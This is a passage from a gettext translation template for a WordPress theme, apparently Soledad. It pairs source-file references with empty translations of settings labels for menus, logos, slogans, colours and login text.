#: inc/elementor/modules/penci-product/widgets/penci-product.php:575
#: inc/elementor/modules/penci-product/widgets/penci-product.php:587
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:222
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:321
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:344
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:354
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:476
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:485
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:494
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:542
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:714
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:765
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:72
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:442
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:56
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:78
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:87
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:96
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:155
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:94
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:100
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:232
#: inc/gutenberg/block/featured-boxes/index.js:64
#: inc/gutenberg/block/portfolio/index.js:56
#: inc/js_composer/inc/vc-params-helper.php:1017
#: inc/js_composer/inc/vc-params-helper.php:1077
#: inc/js_composer/inc/vc-params-helper.php:1118
#: inc/js_composer/inc/vc-params-helper.php:1164
#: inc/js_composer/inc/vc-params-helper.php:1210
#: inc/js_composer/inc/vc-params-helper.php:1566
#: inc/js_composer/inc/vc-params-helper.php:1632
#: inc/js_composer/inc/vc-params-helper.php:1674
#: inc/js_composer/inc/vc-params-helper.php:1776
#: inc/js_composer/inc/vc-params-helper.php:1819
#: inc/js_composer/shortcodes/big_grid/settings.php:173
#: inc/js_composer/shortcodes/big_grid/settings.php:183
#: inc/js_composer/shortcodes/big_grid/settings.php:194
#: inc/js_composer/shortcodes/big_grid/settings.php:205
#: inc/js_composer/shortcodes/container/settings.php:47
#: inc/js_composer/shortcodes/container_inner/settings.php:28
#: inc/js_composer/shortcodes/custom_sliders/settings.php:146
#: inc/js_composer/shortcodes/media_carousel/settings.php:64
#: inc/js_composer/shortcodes/media_carousel/settings.php:72
#: inc/js_composer/shortcodes/media_carousel/settings.php:94
#: inc/js_composer/shortcodes/social_counter/settings.php:120
#: inc/js_composer/shortcodes/social_counter/settings.php:173
#: inc/js_composer/shortcodes/social_counter/settings.php:382
#: inc/meta-box/categories-meta-box.php:337 inc/meta-box/inc/fields.php:163
#: inc/meta-box/inc/fields.php:172 inc/meta-box/inc/fields.php:181
#: inc/meta-box/meta-box.php:623 inc/meta-box/meta-box.php:637
#: inc/meta-box/meta-box.php:652 inc/meta-box/meta-box.php:666
#: inc/meta-box/meta-box.php:682 inc/meta-box/meta-box.php:696
#: inc/meta-box/meta-box.php:1121 inc/meta-box/register/page.php:187
#: inc/meta-box/register/page.php:280
#: inc/template-builder/single-elements/custom-field.php:94
#: inc/template-builder/single-elements/custom-field.php:102
#: inc/template-builder/single-elements/featured-overlay.php:216
#: inc/template-builder/single-elements/featured-overlay.php:244
#: inc/template-builder/single-elements/featured-overlay.php:251
#: inc/template-builder/single-elements/featured-overlay.php:258
#: inc/template-builder/single-elements/featured-overlay.php:266
#: inc/template-builder/single-elements/featured-overlay.php:297
#: inc/template-builder/single-elements/featured-overlay.php:304
#: inc/template-builder/single-elements/featured-overlay.php:312
#: inc/template-builder/single-elements/featured-overlay.php:319
#: inc/template-builder/single-elements/featured-overlay.php:327
#: inc/template-builder/single-elements/featured-overlay.php:334
#: inc/template-builder/single-elements/featured-overlay.php:342
#: inc/template-builder/single-elements/featured-overlay.php:349
#: inc/template-builder/single-elements/meta.php:94
#: inc/template-builder/single-elements/meta.php:101
#: inc/template-builder/single-elements/meta.php:108
#: inc/template-builder/single-elements/meta.php:139
#: inc/template-builder/single-elements/meta.php:147
#: inc/template-builder/single-elements/meta.php:154
#: inc/template-builder/single-elements/meta.php:162
#: inc/template-builder/single-elements/meta.php:169
#: inc/template-builder/single-elements/meta.php:177
#: inc/template-builder/single-elements/meta.php:184
#: inc/template-builder/single-elements/meta.php:192
#: inc/template-builder/single-elements/meta.php:199
#: inc/template-function.php:333 inc/widgets/social_counter.php:412
#: inc/widgets/social_counter.php:421
msgid "Yes"
msgstr ""

#: inc/builder/elements/pb_dropdown_menu/settings.php:87
#: inc/builder/elements/pb_main_menu/settings.php:289
#: inc/builder/elements/pb_second_menu/settings.php:283
#: inc/builder/elements/pb_third_menu/settings.php:285
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:108
msgid "Font Size for Menu Items Level 1"
msgstr ""

#: inc/builder/elements/pb_dropdown_menu/settings.php:107
#: inc/builder/elements/pb_main_menu/settings.php:309
#: inc/builder/elements/pb_second_menu/settings.php:303
#: inc/builder/elements/pb_third_menu/settings.php:305
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:128
msgid "Font Size for Dropdown Menu Items"
msgstr ""

#: inc/builder/elements/pb_dropdown_menu/settings.php:149
#: inc/builder/elements/pb_main_menu/settings.php:109
#: inc/builder/elements/pb_second_menu/settings.php:102
#: inc/builder/elements/pb_third_menu/settings.php:105
msgid "Menu Items Color"
msgstr ""

#: inc/builder/elements/pb_dropdown_menu/settings.php:157
msgid "Menu Items Hover & Active Color"
msgstr ""

#: inc/builder/elements/pb_dropdown_menu/settings.php:165
msgid "Menu Items Borders Color"
msgstr ""

#: inc/builder/elements/pb_hamburger_menu/settings.php:6
msgid ""
"You can go to \"Appearance > Customize > Vertical Navigation & Menu "
"Hamburger\" to adjust the sidebar hamburger."
msgstr ""

#: inc/builder/elements/pb_hamburger_menu/settings.php:16
msgid "Hamburger Button Pre-define Style"
msgstr ""

#: inc/builder/elements/pb_hamburger_menu/settings.php:30
msgid "Custom Size"
msgstr ""

#: inc/builder/elements/pb_hamburger_menu/settings.php:66
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:107
#: inc/elementor/modules/penci-button/widgets/penci-button.php:134
#: inc/template-builder/single-elements/postpagination.php:183
msgid "Borders Style"
msgstr ""

#: inc/builder/elements/pb_hamburger_menu/settings.php:89
#: inc/builder/elements/pb_mobile_menu/settings.php:69
msgid "Menu Hover Borders Color"
msgstr ""

#: inc/builder/elements/pb_hamburger_menu/settings.php:105
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1566
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1027
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1467
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:642
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:800
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1188
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1008
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:327
#: inc/template-builder/archive-elements/posts.php:1364
msgid "Hover Background Color"
msgstr ""

#: inc/builder/elements/pb_html_ad/settings.php:9
#: inc/builder/elements/pb_html_ad_2/settings.php:9
#: inc/builder/elements/pb_html_ad_3/settings.php:9
#: inc/builder/elements/pb_html_ad_mobile/settings.php:9
#: inc/builder/elements/pb_html_ad_mobile_2/settings.php:9
msgid "HTML Code"
msgstr ""

#: inc/builder/elements/pb_html_ad/settings.php:33
#: inc/builder/elements/pb_html_ad_2/settings.php:33
#: inc/builder/elements/pb_html_ad_3/settings.php:33
#: inc/builder/elements/pb_html_ad_mobile/settings.php:33
#: inc/builder/elements/pb_html_ad_mobile_2/settings.php:33
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1465
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:929
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:676
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:874
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1080
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:900
#: inc/js_composer/shortcodes/big_grid/settings.php:1083
msgid "Links Color"
msgstr ""

#: inc/builder/elements/pb_login_register/settings.php:8
#: inc/builder/elements/pb_login_register_mobile/settings.php:8
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:421
msgid "Add Login Text"
msgstr ""

#: inc/builder/elements/pb_login_register/settings.php:9
#: inc/builder/elements/pb_login_register_mobile/settings.php:9
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:422
msgid "Text beside the icon, leave it empty to disable"
msgstr ""

#: inc/builder/elements/pb_login_register/settings.php:25
#: inc/builder/elements/pb_login_register_mobile/settings.php:25
msgid "Custom Font for Login Text"
msgstr ""

#: inc/builder/elements/pb_login_register/settings.php:34
#: inc/builder/elements/pb_login_register_mobile/settings.php:34
msgid "Font Weight for Login Text"
msgstr ""

#: inc/builder/elements/pb_login_register/settings.php:81
#: inc/builder/elements/pb_login_register_mobile/settings.php:81
msgid "Uppercase Text ?"
msgstr ""

#: inc/builder/elements/pb_login_register/settings.php:94
#: inc/builder/elements/pb_login_register_mobile/settings.php:94
#: inc/builder/elements/pb_mobile_menu/settings.php:29
#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:111
#: inc/elementor/base/base-widget.php:451
#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:272
#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:151
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:430
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:522
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:609
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:618
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:141
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:251
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1449
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:518
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:556
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:578
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:609
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:629
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:779
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:592
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:629
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:666
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:790
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:827
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:864
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:934
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:680
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:746
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:859
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:903
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1029
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1136
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1170
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:211
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:313
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1017
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1043
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:148
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:207
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:234
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:208
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:239
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:126
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:152
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:390
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:421
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:385
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:747
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:784
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:821
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:338
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:386
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:819
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:845
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:872
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:893
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:927
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:204
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:249
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:290
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:402
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:418
#: inc/js_composer/inc/vc-params-helper.php:326
#: inc/js_composer/shortcodes/custom_sliders/settings.php:442
#: inc/options/framework/fields/background/background.php:278
#: inc/template-builder/archive-elements/posts.php:715
#: inc/template-builder/archive-elements/posts.php:797
#: inc/template-builder/archive-elements/posts.php:937
#: inc/template-builder/archive-elements/posts.php:989
#: inc/template-builder/archive-elements/posts.php:1159
#: inc/template-builder/archive-elements/posts.php:1300
#: inc/template-builder/archive-elements/posts.php:1342
#: inc/woocommerce/modules/swatches.php:11 inc/woocommerce/woocommerce.php:113
msgid "Color"
msgstr ""

#: inc/builder/elements/pb_login_register/settings.php:102
#: inc/builder/elements/pb_login_register_mobile/settings.php:102
#: inc/builder/elements/pb_mobile_menu/settings.php:37
#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:157
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1455
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:527
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:561
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:587
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:636
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:786
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:602
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:639
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:800
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:837
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:688
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:913
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1035
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:158
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:243
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:216
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:247
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:134
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:757
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:794
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:350
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:826
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:852
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:214
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:318
#: inc/template-builder/archive-elements/posts.php:725
#: inc/template-builder/archive-elements/posts.php:1001
#: inc/template-builder/archive-elements/posts.php:1168
msgid "Hover Color"
msgstr ""

#: inc/builder/elements/pb_login_register/settings.php:110
#: inc/builder/elements/pb_login_register_mobile/settings.php:110
#: inc/elementor/base/base-widget.php:488
#: inc/js_composer/inc/vc-params-helper.php:354
msgid "Dropdown Link Color"
msgstr ""

#: inc/builder/elements/pb_login_register/settings.php:118
#: inc/builder/elements/pb_login_register_mobile/settings.php:118
msgid "Dropdown Link Hover Color"
msgstr ""

#: inc/builder/elements/pb_login_register/settings.php:126
#: inc/builder/elements/pb_login_register_mobile/settings.php:126
msgid "Font Size for Icon"
msgstr ""

#: inc/builder/elements/pb_login_register/settings.php:146
#: inc/builder/elements/pb_login_register_mobile/settings.php:146
#: inc/js_composer/soledad_vc.php:2017
msgid "Font Size for Text"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:9
#: inc/builder/elements/pb_logo_mobile/settings.php:9
#: inc/builder/elements/pb_logo_sidebar/settings.php:10
#: inc/builder/elements/pb_logo_sticky/settings.php:9
msgid "Display Logo as"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:12
#: inc/builder/elements/pb_logo/settings.php:30
#: inc/builder/elements/pb_logo_mobile/settings.php:12
#: inc/builder/elements/pb_logo_mobile/settings.php:31
#: inc/builder/elements/pb_logo_sidebar/settings.php:13
#: inc/builder/elements/pb_logo_sidebar/settings.php:32
#: inc/builder/elements/pb_logo_sticky/settings.php:12
#: inc/builder/elements/pb_logo_sticky/settings.php:30
msgid "Logo Image"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:13
#: inc/builder/elements/pb_logo_mobile/settings.php:13
#: inc/builder/elements/pb_logo_sidebar/settings.php:14
#: inc/builder/elements/pb_logo_sticky/settings.php:13
#: inc/elementor/base/base-widget.php:1477
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:150
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:55
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:117
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:163
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:143
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:322
#: inc/js_composer/shortcodes/custom_sliders/settings.php:331
#: inc/js_composer/shortcodes/info_box/settings.php:108
#: inc/js_composer/shortcodes/text_block/settings.php:16
#: inc/js_composer/soledad_vc.php:1980
msgid "Text"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:31
#: inc/builder/elements/pb_logo_mobile/settings.php:32
#: inc/builder/elements/pb_logo_sidebar/settings.php:33
#: inc/builder/elements/pb_logo_sticky/settings.php:31
msgid "Upload your image logo here"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:47
#: inc/builder/elements/pb_logo_mobile/settings.php:48
#: inc/builder/elements/pb_logo_sidebar/settings.php:49
#: inc/builder/elements/pb_logo_sticky/settings.php:47
msgid "Maxium Width for Logo Image"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:67
#: inc/builder/elements/pb_logo_mobile/settings.php:68
#: inc/builder/elements/pb_logo_sidebar/settings.php:69
#: inc/builder/elements/pb_logo_sticky/settings.php:67
msgid "Maxium Height for Logo Image"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:88
#: inc/builder/elements/pb_logo_mobile/settings.php:89
#: inc/builder/elements/pb_logo_sidebar/settings.php:90
#: inc/builder/elements/pb_logo_sticky/settings.php:87
msgid "Custom Logo Link"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:97
#: inc/builder/elements/pb_logo_mobile/settings.php:99
#: inc/builder/elements/pb_logo_sidebar/settings.php:100
#: inc/builder/elements/pb_logo_sticky/settings.php:96
msgid "Text Logo"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:113
#: inc/builder/elements/pb_logo_sticky/settings.php:104
msgid "Slogan"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:130
#: inc/builder/elements/pb_logo_mobile/settings.php:132
#: inc/builder/elements/pb_logo_sidebar/settings.php:133
#: inc/builder/elements/pb_logo_sticky/settings.php:112
msgid "Font Size for Text Logo"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:151
#: inc/builder/elements/pb_logo_mobile/settings.php:152
#: inc/builder/elements/pb_logo_sidebar/settings.php:154
#: inc/builder/elements/pb_logo_sticky/settings.php:133
msgid "Color for Text Logo"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:158
msgid "Font For Text Logo"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:168
msgid "Font Weight For Text Logo"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:192
#: inc/builder/elements/pb_logo_mobile/settings.php:195
#: inc/builder/elements/pb_logo_sidebar/settings.php:196
#: inc/builder/elements/pb_logo_sticky/settings.php:172
msgid "Font Style for Text Logo"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:207
#: inc/builder/elements/pb_logo_mobile/settings.php:210
#: inc/builder/elements/pb_logo_sidebar/settings.php:211
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:147
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:24
msgid "Font Size for Slogan"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:227
#: inc/builder/elements/pb_logo_sticky/settings.php:206
msgid "Color for Slogan Text"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:234
#: inc/builder/elements/pb_logo_mobile/settings.php:237
#: inc/builder/elements/pb_logo_sidebar/settings.php:238
#: inc/builder/elements/pb_logo_sticky/settings.php:213
msgid "Font for Slogan Text"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:244
#: inc/builder/elements/pb_logo_mobile/settings.php:248
#: inc/builder/elements/pb_logo_sidebar/settings.php:249
#: inc/builder/elements/pb_logo_sticky/settings.php:222
msgid "Font Weight for Slogan Text"
msgstr ""

#: inc/builder/elements/pb_logo/settings.php:268
#: inc/builder/elements/pb_logo_mobile/settings.php:272
#: inc/builder/elements/pb_logo_sidebar/settings.php:272
#: inc/builder/elements/pb_logo_sticky/settings.php:245
msgid "Font Style for Slogan Text"
msgstr ""

#: inc/builder/elements/pb_logo_mobile/settings.php:116
#: inc/builder/elements/pb_logo_sidebar/settings.php:117
#: inc/customizer/config/options/logo_header.php:32
#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:34
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans.php:33
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans_section.php:37
#: inc/options/options.php:220
msgid "Slogan Text"
msgstr ""

#: inc/builder/elements/pb_logo_mobile/settings.php:160
#: inc/builder/elements/pb_logo_sidebar/settings.php:161
#: inc/builder/elements/pb_logo_sticky/settings.php:140
msgid "Font for Text Logo"
msgstr ""

#: inc/builder/elements/pb_logo_mobile/settings.php:162
#: inc/builder/elements/pb_logo_mobile/settings.php:239
#: inc/builder/elements/pb_logo_sidebar/settings.php:163
#: inc/builder/elements/pb_logo_sidebar/settings.php:240
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:38
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:168
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:46
msgid "Default font is \"PT Serif\""
msgstr ""

#: inc/builder/elements/pb_logo_mobile/settings.php:171
#: inc/builder/elements/pb_logo_sidebar/settings.php:172
#: inc/builder/elements/pb_logo_sticky/settings.php:149
msgid "Font Weight for Text Logo"
msgstr ""

#: inc/builder/elements/pb_logo_mobile/settings.php:229
#: inc/builder/elements/pb_logo_sidebar/settings.php:231
msgid "Color Header Slogan"
msgstr ""

#: inc/builder/elements/pb_logo_sticky/settings.php:186
msgid "Font Size for Slogan Text"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:27
#: inc/builder/elements/pb_second_menu/settings.php:28
#: inc/builder/elements/pb_third_menu/settings.php:31
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:163
msgid "Enable Padding on Menu Item Level 1"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:40
#: inc/builder/elements/pb_second_menu/settings.php:41
#: inc/builder/elements/pb_third_menu/settings.php:44
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:170
msgid "Hide Line When Hover on Menu Items Level 1"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:42
#: inc/builder/elements/pb_second_menu/settings.php:43
#: inc/builder/elements/pb_third_menu/settings.php:46
msgid ""
"You can change the sub menu style via Customize > Logo & Header > Main Bar & "
"Primary Menu > Sub Menu Style"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:63
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:79
msgid "Font Weight For Primary Menu Items"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:99
msgid "Menu Colors"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:117
#: inc/builder/elements/pb_second_menu/settings.php:110
#: inc/builder/elements/pb_third_menu/settings.php:113
msgid "Menu Items Hover Color"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:125
#: inc/builder/elements/pb_second_menu/settings.php:119
#: inc/builder/elements/pb_third_menu/settings.php:121
msgid "Menu Items Active Color"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:133
#: inc/builder/elements/pb_second_menu/settings.php:127
#: inc/builder/elements/pb_third_menu/settings.php:129
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:301
msgid "Line Hover Color"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:141
#: inc/builder/elements/pb_second_menu/settings.php:134
#: inc/builder/elements/pb_third_menu/settings.php:137
msgid "Menu Items Background Color"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:149
#: inc/builder/elements/pb_second_menu/settings.php:142
#: inc/builder/elements/pb_third_menu/settings.php:145
msgid "Menu Items Hover Background Color"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:157
#: inc/builder/elements/pb_second_menu/settings.php:150
#: inc/builder/elements/pb_third_menu/settings.php:153
msgid "Sub Menu Background Color"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:165
#: inc/builder/elements/pb_second_menu/settings.php:158
#: inc/builder/elements/pb_third_menu/settings.php:161
msgid "Sub Menu Items Color"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:173
#: inc/builder/elements/pb_second_menu/settings.php:166
#: inc/builder/elements/pb_third_menu/settings.php:169
msgid "Sub Menu Items Hover Color"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:181
#: inc/builder/elements/pb_second_menu/settings.php:174
#: inc/builder/elements/pb_third_menu/settings.php:177
msgid "Sub Menu Items Active Color"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:189
#: inc/builder/elements/pb_second_menu/settings.php:182
#: inc/builder/elements/pb_third_menu/settings.php:185
msgid "Sub Menu Borders Color"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:197
#: inc/builder/elements/pb_second_menu/settings.php:190
#: inc/builder/elements/pb_third_menu/settings.php:193
#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:181
msgid "Category Mega Menu Background Color"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:205
#: inc/builder/elements/pb_second_menu/settings.php:199
#: inc/builder/elements/pb_third_menu/settings.php:201
#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:188
msgid "Category Mega Menu List Child Categories Background Color"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:213
#: inc/builder/elements/pb_second_menu/settings.php:207
#: inc/builder/elements/pb_third_menu/settings.php:209
#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:223
msgid "Mega Menu Post Category Color"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:221
#: inc/builder/elements/pb_second_menu/settings.php:215
#: inc/builder/elements/pb_third_menu/settings.php:217
msgid "Category Mega Menu Post Title Color"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:229
#: inc/builder/elements/pb_second_menu/settings.php:223
#: inc/builder/elements/pb_third_menu/settings.php:225
#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:209
msgid "Category Mega Menu Post Date Color"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:237
#: inc/builder/elements/pb_second_menu/settings.php:231
